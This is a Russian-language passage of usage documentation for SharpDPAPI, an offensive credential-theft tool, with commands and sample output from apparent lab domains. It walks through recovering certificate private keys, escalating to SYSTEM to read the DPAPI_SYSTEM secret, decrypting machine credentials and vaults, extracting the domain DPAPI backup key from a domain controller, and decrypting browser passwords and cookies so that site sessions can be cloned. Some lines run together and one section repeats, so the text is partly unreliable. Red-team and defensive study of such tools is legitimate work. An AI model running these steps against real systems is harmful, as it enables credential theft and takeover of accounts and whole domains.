[*] Action: Certificate Triage
Folder : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104
File : 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0
Provider GUID : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
Master Key GUID : {dab90445-0a08-4b27-9110-b75d4a7894d0}
Description : CryptoAPI Private Key
algCrypt : CALG_3DES (keyLen 192)
algHash : CALG_SHA (32772)
Salt : ef98458bca7135fe1bb89b3715180ae6
HMAC : 5c3c3da2a4f6548a0186c22f86d7bc85
Unique Name : te-UserMod-8c8e0236-76ca-4a36-b4d5-24eaf3c3e1daThumbprint : 98A03BC583861DCC19045758C0E0C05162091B6C
Issuer : CN=theshire-DC-CA, DC=theshire, DC=local
Subject : CN=harmj0y
Valid Date : 2/22/2021 2:19:02 PM
Expiry Date : 2/22/2022 2:19:02 PM
Enhanced Key Usages:
Client Authentication (1.3.6.1.5.5.7.3.2)
[!] Сертификат используется для аутентификации клиента!
Secure Email (1.3.6.1.5.5.7.3.4)
Encrypting File System (1.3.6.1.4.1.311.10.3.4)
[*] Файл закрытого ключа 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 был восстановлен:
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA0WDgv/jH5HuATtPgQSBie5t...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFujCCBKKgAwIBAgITVQAAAJf6yKyhm5SBVwA...(snip)...
-----END CERTIFICATE-----
Использование /unprotect для расшифровки найденных пользовательских сертификатов:
C:\Temp> SharpDPAPI.exe certificates /unprotect
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.11.3
[*] Действие: Инвентаризация сертификатов
[*] Используется CryptUnprotectData() для расшифровки.
Folder : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104
File : f29fa2bb6de62b7d966a407ef203ac45_3fef0615-487e-485b-84b0-193b510dec3b
Provider GUID : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
Master Key GUID : {27db0044-e2aa-4ea2-b2c0-c469e9b29ed9}
Description : Private Key
algCrypt : CALG_AES_256 (keyLen 256)
algHash : CALG_SHA_512 (32782)
Salt : d7e1e00ed8a6249b5f05c487154e83cc0b51f71131530d0d46d3bfc63d890468
HMAC : 4869f296cdcc964262a57e2efc4f2c5df57c2ed7319e297daa2107810da5c171
Unique Name : {4A07001C-57BE-4E8B-86D1-43CACDF8D448}
Thumbprint : BBD9B90FE1A4E37BD646CBC922ABE06C24C1E725
Issuer : CN=theshire-DC-CA, DC=theshire, DC=local
Subject : CN=harmj0y
Valid Date : 10/18/2022 11:40:07 AM
Expiry Date : 10/18/2023 12:00:07 PM
Enhanced Key Usages:
Client Authentication (1.3.6.1.5.5.7.3.2)
[!] Сертификат используется для аутентификации клиента!
Server Authentication (1.3.6.1.5.5.7.3.1)
[*] Файл закрытого ключа f29fa2bb6de62b7d966a407ef203ac45_3fef0615-487e-485b-84b0-193b510dec3b был восстановлен:
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAxVEW49fMt...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDKjCCAhKgAwIBAgIQYwhUr...(snip)...
-----END CERTIFICATE-----
Использование ключа резервного копирования домена DPAPI для предварительной расшифровки любых обнаруживаемых мастер-ключей:
C:\Temp>SharpDPAPI.exe certificates /pvk:HvG1sAAAAAABAAAAAAAAAAAAAACU...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.10.0
[*] Действие: Инвентаризация сертификатов
[*] Используется ключ резервного копирования домена DPAPI для инвентаризации мастер-ключей с целью получения соответствий ключей расшифровки!
[*] Кэш пользовательских мастер-ключей:
{dab90445-0a08-4b27-9110-b75d4a7894d0}:C23AF7432EB51371...(snip)...
Folder : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104
File : 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0
Provider GUID : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
Master Key GUID : {dab90445-0a08-4b27-9110-b75d4a7894d0}
Description : CryptoAPI Private Key
algCrypt : CALG_3DES (keyLen 192)
algHash : CALG_SHA (32772)
Salt : ef98458bca7135fe1bb89b3715180ae6
HMAC : 5c3c3da2a4f6548a0186c22f86d7bc85
Unique Name : te-UserMod-8c8e0236-76ca-4a36-b4d5-24eaf3c3e1da
Thumbprint : 98A03BC583861DCC19045758C0E0C05162091B6C
Issuer : CN=theshire-DC-CA, DC=theshire, DC=local
Subject : CN=harmj0y
Valid Date : 2/22/2021 2:19:02 PM
Expiry Date : 2/22/2022 2:19:02 PM
Enhanced Key Usages:
Client Authentication (1.3.6.1.5.5.7.3.2)
[!] Сертификат используется для аутентификации клиента!
Secure Email (1.3.6.1.5.5.7.3.4)
Encrypting File System (1.3.6.1.4.1.311.10.3.4)
[*] Файл закрытого ключа 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 был восстановлен:
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA0WDgv/jH5HuATtPgQSBie5t...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFujCCBKKgAwIBAgITVQAAAJf6yKyhm5SBVwA...(snip)...
-----END CERTIFICATE-----
Команда triage запускает команды credentials, vaults, rdg и certificates для пользователя.
Команда machinemasterkeys повышает привилегии до SYSTEM для получения секрета LSA DPAPI_SYSTEM, который затем используется для расшифровки любых найденных мастер-ключей DPAPI машины. Она возвращает набор соответствий мастер-ключей {GUID}:SHA1.
Требуются права локального администратора (чтобы можно было получить секрет LSA DPAPI_SYSTEM).
C:\Temp>SharpDPAPI.exe machinemasterkeys
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Действие: Инвентаризация файлов мастер-ключей DPAPI машины
[*] Повышение привилегий до SYSTEM через дублирование токена для получения секрета LSA
[*] RevertToSelf()
[*] Секрет : DPAPI_SYSTEM
[*] полный: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] Кэш мастер-ключей SYSTEM:
{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...
Команда machinecredentials повышает привилегии до SYSTEM для получения секрета LSA DPAPI_SYSTEM, который затем используется для расшифровки любых найденных мастер-ключей DPAPI машины. Эти ключи затем используются для расшифровки любых найденных файлов учётных данных машины.
Требуются права локального администратора (чтобы можно было получить секрет LSA DPAPI_SYSTEM).
C:\Temp>SharpDPAPI.exe machinecredentials
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Действие: Инвентаризация учётных данных DPAPI машины
[*] Повышение привилегий до SYSTEM через дублирование токена для получения секрета LSA
[*] RevertToSelf()
[*] Секрет : DPAPI_SYSTEM
[*] полный: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] Кэш мастер-ключей SYSTEM:
{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...
[*] Инвентаризация учётных данных системы
Folder : C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Credentials
CredFile : C73A55F92FAE222C18A8989FEA28A1FE
guidMasterKey : {1cb83cb5-96cd-445d-baac-49e97f4eeb72}
size : 544
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32782/26128
description : Local Credential Data
LastWritten : 3/24/2019 7:08:43 PM
TargetName : Domain:batch=TaskScheduler:Task:{B745BF75-D62D-4B1C-84ED-F0437214ECED}
TargetAlias :
Comment :
UserName : TESTLAB\harmj0y
Credential : Password123!
Folder : C:\WINDOWS\ServiceProfiles\LocalService\AppData\Local\Microsoft\Credentials
CredFile : DFBE70A7E5CC19A398EBF1B96859CE5D
...(snip)...
Команда machinevaults повышает привилегии до SYSTEM для получения секрета LSA DPAPI_SYSTEM, который затем используется для расшифровки любых найденных мастер-ключей DPAPI машины. Эти ключи затем используются для расшифровки любых найденных хранилищ машины.
Требуются права локального администратора (чтобы можно было получить секрет LSA DPAPI_SYSTEM).
C:\Temp>SharpDPAPI.exe machinevaults
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Действие: Инвентаризация хранилищ DPAPI машины
[*] Повышение привилегий до SYSTEM через дублирование токена для получения секрета LSA
[*] RevertToSelf()
[*] Секрет : DPAPI_SYSTEM
[*] полный: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] Кэш мастер-ключей SYSTEM:
{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...
[*] Инвентаризация хранилищ SYSTEM
[*] Инвентаризация папки хранилища: C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
Name : Web Credentials
guidMasterKey : {0bd732d9-c396-4f9a-a69a-508632c05235}
size : 324
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32782/26128
description :
aes128 key : 74CE3D7BCC4D0C4734931041F6D00D09
aes256 key : B497F57730A2F29C3533B76BD6B33EEA231C1F51ED933E0CA1210B9E3A16D081
...(snip)...
Команда certificates /machine использует хранилище сертификатов машины для поиска расшифровываемых закрытых ключей сертификатов машины. /mkfile:X и {GUID}:masterkey совместимы с командой /target:\[file|folder\], иначе SharpDPAPI повышает привилегии до SYSTEM для получения секрета LSA DPAPI_SYSTEM, который затем используется для расшифровки любых найденных мастер-ключей DPAPI машины. Эти ключи затем используются для расшифровки любых найденных системных зашифрованных ключей закрытых сертификатов DPAPI машины.
По умолчанию отображаются только закрытые ключи, связанные с установленным сертификатом. Параметр /showall отображает ВСЕ расшифрованные закрытые ключи.
Требуются права локального администратора (чтобы можно было получить секрет LSA DPAPI_SYSTEM).
C:\Temp>SharpDPAPI.exe certificates /machine
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.10.0
[*] Действие: Инвентаризация сертификатов
[*] Повышение привилегий до SYSTEM через дублирование токена для получения секрета LSA
[*] RevertToSelf()
[*] Секрет : DPAPI_SYSTEM
[*] полный: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] Кэш мастер-ключей SYSTEM:
{f12f57e1-dd41-4daa-88f1-37a64034c7e9}:3AEB121ECF2...(snip)...
[*] Инвентаризация системных сертификатов
Folder : C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys
File : 9377cea385fa1e5bf7815ee2024d0eea_6c712ef3-1467-4f96-bb5c-6737ba66cfb0
Provider GUID : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
Master Key GUID : {f12f57e1-dd41-4daa-88f1-37a64034c7e9}
Description : CryptoAPI Private Key
algCrypt : CALG_3DES (keyLen 192)
algHash : CALG_SHA (32772)
Salt : aa8c9e4849455660fc5fc96589f3e40e
HMAC : 9138559ef30fbd70808dca2c1ed02a29
Unique Name : te-Machine-50500b00-fddb-4a0d-8aa6-d73404473650
Thumbprint : A82ED8207DF6BC16BB65BF6A91E582263E217A4A
Issuer : CN=theshire-DC-CA, DC=theshire, DC=local
Subject : CN=dev.theshire.local
Valid Date : 2/22/2021 3:50:43 PM
Expiry Date : 2/22/2022 3:50:43 PM
Enhanced Key Usages:
Client Authentication (1.3.6.1.5.5.7.3.2)
[!] Сертификат используется для аутентификации клиента!
Server Authentication (1.3.6.1.5.5.7.3.1)
[*] Файл закрытого ключа 9377cea385fa1e5bf7815ee2024d0eea_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 был восстановлен:
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAzRX2ipgM1t9Et4KoP...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFOjCCBCKgAwIBAgITVQAAAJqDK8j15...(snip)...
-----END CERTIFICATE-----
Команда machinetriage запускает команды machinecredentials, machinevaults и certificates /machine для машины.
Команда ps описывает/расшифровывает экспортированный PSCredential clixml. Необходимо указать /target:FILE.xml.
Команда может: a) расшифровать файл с помощью переданных соответствий мастер-ключей "{GUID}:SHA1", b) использовать файл /mkfile:FILE с одним или несколькими соответствиями мастер-ключей {GUID}:SHA1, c) использовать предоставленный ключ резервного копирования домена DPAPI (/pvk:BASE64... или /pvk:key.pvk) для предварительной расшифровки пользовательских мастер-ключей (аналогично masterkeys), или d) использовать /password:X для расшифровки пользовательских мастер-ключей, которые затем используются как таблица расшифровки поиска. Соответствия GUID DPAPI можно восстановить с помощью команды Mimikatz sekurlsa::dpapi.
Флаг /unprotect использует CryptUnprotectData() для расшифровки .xml учётных данных без необходимости мастер-ключей, если команда выполняется из контекста пользователя, сохранившего пароли. Это можно сделать из непривилегированного контекста без необходимости обращаться к LSASS. О том, почему этот подход не используется для учётных данных/хранилищ, см. документацию Benjamin.
Расшифровка экспортированного .xml учётных данных с помощью CryptProtectData() (флаг /unprotect):
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml /unprotect
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0
[*] Действие: Описание PSCredential .xml
CredFile : C:\Temp\cred.xml
Accessed : 7/25/2019 11:53:09 AM
Modified : 7/25/2019 11:53:09 AM
User Name : TESTLAB\user
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 170
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
Password : Password123!
Использование соответствий мастер-ключей домена {GUID}:SHA1:
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml "{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3"
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0
[*] Действие: Описание PSCredential .xml
[*] Используется ключ резервного копирования домена DPAPI для инвентаризации мастер-ключей с целью получения соответствий ключей расшифровки!
[*] Кэш пользовательских мастер-ключей:
{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3
CredFile : C:\Temp\cred.xml
Accessed : 7/25/2019 12:04:12 PM
Modified : 7/25/2019 12:04:12 PM
User Name : TESTLAB\user
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 170
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
Password : Password123!
Использование ключа резервного копирования домена DPAPI для предварительной расшифровки любых обнаруживаемых мастер-ключей:
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0
[*] Действие: Описание PSCredential .xml
[*] Используется ключ резервного копирования домена DPAPI для инвентаризации мастер-ключей с целью получения соответствий ключей расшифровки!
[*] Кэш пользовательских мастер-ключей:
{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3
CredFile : C:\Temp\cred.xml
Accessed : 7/25/2019 12:04:12 PM
Modified : 7/25/2019 12:04:12 PM
User Name : TESTLAB\user
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 170
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
Password : Password123!
Команда blob описывает/расшифровывает BLOB DPAPI. Необходимо указать /target:<BASE64|blob.bin>.
Команда может: a) расшифровать BLOB с помощью переданных соответствий мастер-ключей "{GUID}:SHA1", b) использовать файл /mkfile:FILE с одним или несколькими соответствиями мастер-ключей {GUID}:SHA1, c) использовать предоставленный ключ резервного копирования домена DPAPI (/pvk:BASE64... или /pvk:key.pvk) для предварительной расшифровки пользовательских мастер-ключей (аналогично masterkeys), или d) использовать /password:X для расшифровки пользовательских мастер-ключей, которые затем используются как таблица расшифровки поиска. Соответствия GUID DPAPI можно восстановить с помощью команды Mimikatz sekurlsa::dpapi.
Флаг /unprotect использует CryptUnprotectData() для расшифровки BLOB без необходимости мастер-ключей, если команда выполняется из контекста пользователя, сохранившего пароли. Это можно сделать из непривилегированного контекста без необходимости обращаться к LSASS. О том, почему этот подход не используется для учётных данных/хранилищ, см. документацию Benjamin.
Расшифровка BLOB с помощью CryptProtectData() (флаг /unprotect):
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob.bin /unprotect
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0
[*] Действие: Описание BLOB DPAPI
[*] Используется CryptUnprotectData() для расшифровки.
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 170
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
dec(blob) : Password123!
Использование соответствий мастер-ключей домена {GUID}:SHA1:
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob2.bin {0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0
[*] Действие: Описать DPAPI-блоб
[*] Используется CryptUnprotectData() для расшифровки.
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 314
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
dec(blob) : 01 00 00 00 3F 3F 3F 3F 01 15 3F 11 3F 7A 00 3F 4F 3F 3F ...
Использование резервного ключа DPAPI домена для расшифровки всех обнаруженных мастер-ключей:
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob2.bin /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0
[*] Действие: Описать DPAPI-блоб
[*] Используется резервный ключ DPAPI домена для проверки мастер-ключей на предмет сопоставления ключей расшифровки!
[*] Кэш мастер-ключей пользователя:
{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 314
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
dec(blob) : 01 00 00 00 3F 3F 3F 3F 01 15 3F 11 3F 7A 00 3F 4F 3F 3F ...
Команда backupkey извлекает резервный ключ DPAPI домена с контроллера домена с помощью подхода LsaRetrievePrivateData API из Mimikatz. Этот закрытый ключ затем может быть использован для расшифровки мастер-ключей любого пользователя домена. И что еще лучше, ключ никогда не меняется ;)
Требуются права администратора домена (или эквивалентные) для получения ключа с удаленного контроллера домена.
Флаг /nowrap предотвращает перенос строки в отображаемом base64-ключе.
Этот base64-блоб ключа может быть декодирован в двоичный .pvk-файл, который затем можно использовать с модулем Mimikatz dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk или в командах SharpDPAPI masterkeys, credentials или vault с аргументом blob/file /pvk:X.
По умолчанию SharpDPAPI пытается определить текущий контроллер домена через API-вызов DsGetDcName. Вы можете указать сервер с помощью /server:COMPUTER.domain.com. Если вы хотите сохранить ключ на диск вместо вывода в виде base64-блоб, используйте /file:key.pvk.
Извлечение резервного ключа DPAPI для текущего контроллера домена:
C:\Temp>SharpDPAPI.exe backupkey
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Действие: Извлечь резервный ключ DPAPI домена
[*] Используется текущий контроллер домена : PRIMARY.testlab.local
[*] Предпочтительный GUID резервного ключа : 32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Полное имя предпочтительного backupkey : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Ключ :
HvG1sAAAAAABAAAAAAAAAAAAAACUBAAABwIAAACkAABSU0EyAAgAAA...(snip)...
Извлечение резервного ключа DPAPI для указанного контроллера домена с выводом ключа в файл:
C:\Temp>SharpDPAPI.exe backupkey /server:primary.testlab.local /file:key.pvk
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Действие: Извлечь резервный ключ DPAPI домена
[*] Используется сервер : primary.testlab.local
[*] Предпочтительный GUID резервного ключа : 32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Полное имя предпочтительного backupkey : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Резервный ключ записан в : key.pvk
Команда search ищет потенциальные DPAPI-блоб в реестре, файлах, папках и base64-блоб. Использование:``` SharpDPAPI.exe search /type:registry [/path:HKLM\path\to\key] [/showErrors] SharpDPAPI.exe search /type:folder /path:C:\path\to\folder [/maxBytes:] [/showErrors] SharpDPAPI.exe search /type:file /path:C:\path\to\file [/maxBytes:] SharpDPAPI.exe search /type:base64 [/base:]
Команда `search` работает путем поиска следующих байтов, которые представляют заголовок (версия + GUID провайдера DPAPI) структуры DPAPI-блобов:```
0x01, 0x00, 0x00, 0x00, 0xD0, 0x8C, 0x9D, 0xDF, 0x01, 0x15, 0xD1, 0x11, 0x8C, 0x7A, 0x00, 0xC0, 0x4F, 0xC2, 0x97, 0xEB
Команда search имеет разные аргументы в зависимости от сканируемого типа данных. Чтобы указать тип данных, используйте аргумент /type со значениями registry, folder, file или base64. Если аргумент /type отсутствует, по умолчанию команда будет искать в реестре.
При поиске в реестре без других аргументов команда рекурсивно просматривает кусты HKEY_LOCAL_MACHINE и HKEY_USERS. Используйте параметр /path, чтобы указать корневой ключ для поиска (например, /path:HKLM\Software), и аргумент /showErrors, чтобы отображать ошибки, возникающие во время перечисления.
При поиске файла или папки укажите путь через /path:C:\Path\to\file\or\folder и при необходимости используйте /maxBytes:<int>, чтобы задать количество байтов для чтения из каждого файла (по умолчанию: 1024 байта). Команда будет читать байты с начала файла и искать DPAPI-блобов. Используйте /showErrors, чтобы отображать ошибки, возникающие во время перечисления.
При поиске base64-блоба укажите base64-закодированные байты для сканирования с помощью параметра /base64:<base64 str>.
Если работа выполняется с повышенными привилегиями на машине, являющейся клиентом SCCM, и в среде SCCM настроена учетная запись сетевого доступа (NAA), можно получить защищенные системным мастер-ключом DPAPI-блобые, содержащие учетные данные NAA, через WMI. Команда SCCM запрашивает эти блобые через WMI, получает системные мастер-ключи и расшифровывает их.
Команда logins выполняет поиск файлов 'Login Data' браузера Chrome и расшифровывает сохраненные пароли для входа. Если выполнение происходит в среде без повышенных привилегий, для попытки расшифровки значений автоматически используется CryptProtectData(). Если указан /browser:edge, обрабатывается более новый браузер Edge на основе Chromium.
Файлы Login Data также можно расшифровать с помощью: a) любых переданных мастер-ключей "{GUID}:SHA1 {GUID}:SHA1 ...", b) файла /mkfile:FILE, содержащего одно или несколько сопоставлений {GUID}:SHA1, c) предоставленного резервного ключа домена DPAPI (/pvk:BASE64... или /pvk:key.pvk) для предварительной расшифровки любых пользовательских мастер-ключей, или d) пароля /password:X для расшифровки любых пользовательских мастер-ключей, которые затем используются как таблица поиска для дешифрования. Сопоставления GUID DPAPI можно восстановить с помощью команды Mimikatz sekurlsa::dpapi.
Конкретный файл Login Data можно указать с помощью /target:FILE. Можно указать удаленный /server:SERVER, если также предоставлен /pvk или /password. При обработке более новых экземпляров Chrome/Edge можно указать ключ состояния AES /statekey:X.
По умолчанию данные входа отображаются в формате csv. Это можно изменить с помощью /format:table для вывода в виде таблицы. Кроме того, по умолчанию отображаются только записи с ненулевыми значениями паролей, но все значения можно отобразить с помощью /showall.
Если команда запущена с повышенными привилегиями, будут обработаны файлы Login Data для ВСЕХ пользователей, в противном случае — только для текущего пользователя.
Команда cookies выполняет поиск файлов 'Cookies' браузера Chromium и расшифровывает значения cookie. Если выполнение происходит в среде без повышенных привилегий, для попытки расшифровки значений автоматически используется CryptProtectData(). Вы можете изменить целевое приложение с помощью аргумента /browser:<VALUE> (например, edge, brave, slack).
Файлы Cookies также можно расшифровать с помощью: a) любых переданных мастер-ключей "{GUID}:SHA1 {GUID}:SHA1 ...", b) файла /mkfile:FILE, содержащего одно или несколько сопоставлений {GUID}:SHA1, c) предоставленного резервного ключа домена DPAPI (/pvk:BASE64... или /pvk:key.pvk) для предварительной расшифровки любых пользовательских мастер-ключей, или d) пароля /password:X для расшифровки любых пользовательских мастер-ключей, которые затем используются как таблица поиска для дешифрования. Сопоставления GUID DPAPI можно восстановить с помощью команды Mimikatz sekurlsa::dpapi.
Конкретный файл Cookies можно указать с помощью /target:FILE. Можно указать удаленный /server:SERVER, если также предоставлен /pvk или /password. При обработке более новых экземпляров Chrome/Edge можно указать ключ состояния AES /statekey:X.
По умолчанию cookie отображаются в формате csv. Это можно изменить с помощью /format:table для вывода в виде таблицы или /format:json для вывода, импортируемого EditThisCookie. Кроме того, по умолчанию отображаются только записи с неистекшими cookie, но все значения можно отобразить с помощью /showall.
Если команда запущена с повышенными привилегиями, будут обработаны файлы Cookies для ВСЕХ пользователей, в противном случае — только для текущего пользователя.
Команда cookies также имеет аргументы /cookie:REGEX и /url:REGEX, позволяющие возвращать только имена cookie или URL-адреса, соответствующие указанному регулярному выражению. Это полезно в сочетании с /format:json для простого клонирования доступа к определённым сайтам.
По умолчанию команда statekeys выполняет поиск приложений на основе Chromium (Google Chrome, Edge, Brave и Slack), находит их файлы ключей состояния AES (например, 'AppData\Local\Google\Chrome\User Data\Local State' и 'AppData\Local\Microsoft\Edge\User Data\Local State') и расшифровывает их, используя те же типы аргументов, которые можно указать для cookies и logins. Вы также можете указать путь к конкретному файлу ключа состояния с помощью параметра /target: (например, "/target:C:\Users\Test\appdata\Local\Google\Chrome\User Data\Local State").
Ключи состояния также можно расшифровать с помощью: a) любых переданных мастер-ключей "{GUID}:SHA1 {GUID}:SHA1 ...", b) файла /mkfile:FILE, содержащего одно или несколько сопоставлений {GUID}:SHA1, c) предоставленного резервного ключа домена DPAPI (/pvk:BASE64... или /pvk:key.pvk) для предварительной расшифровки любых пользовательских мастер-ключей, или d) пароля /password:X для расшифровки любых пользовательских мастер-ключей, которые затем используются как таблица поиска для дешифрования. Сопоставления GUID DPAPI можно восстановить с помощью команды Mimikatz sekurlsa::dpapi.
Если команда запущена с повышенными привилегиями, будут обработаны ключи состояния для ВСЕХ пользователей, в противном случае — только для текущего пользователя.
Команда backupkey получает резервный ключ домена DPAPI с контроллера домена с помощью подхода API LsaRetrievePrivateData из Mimikatz. Этот закрытый ключ затем можно использовать для расшифровки блобов мастер-ключей любого пользователя в домене. И что ещё лучше, ключ никогда не меняется ;)
Для получения ключа с удаленного контроллера домена требуются права администратора домена (или аналогичные).
Флаг /nowrap предотвращает перенос base64-ключа при отображении.
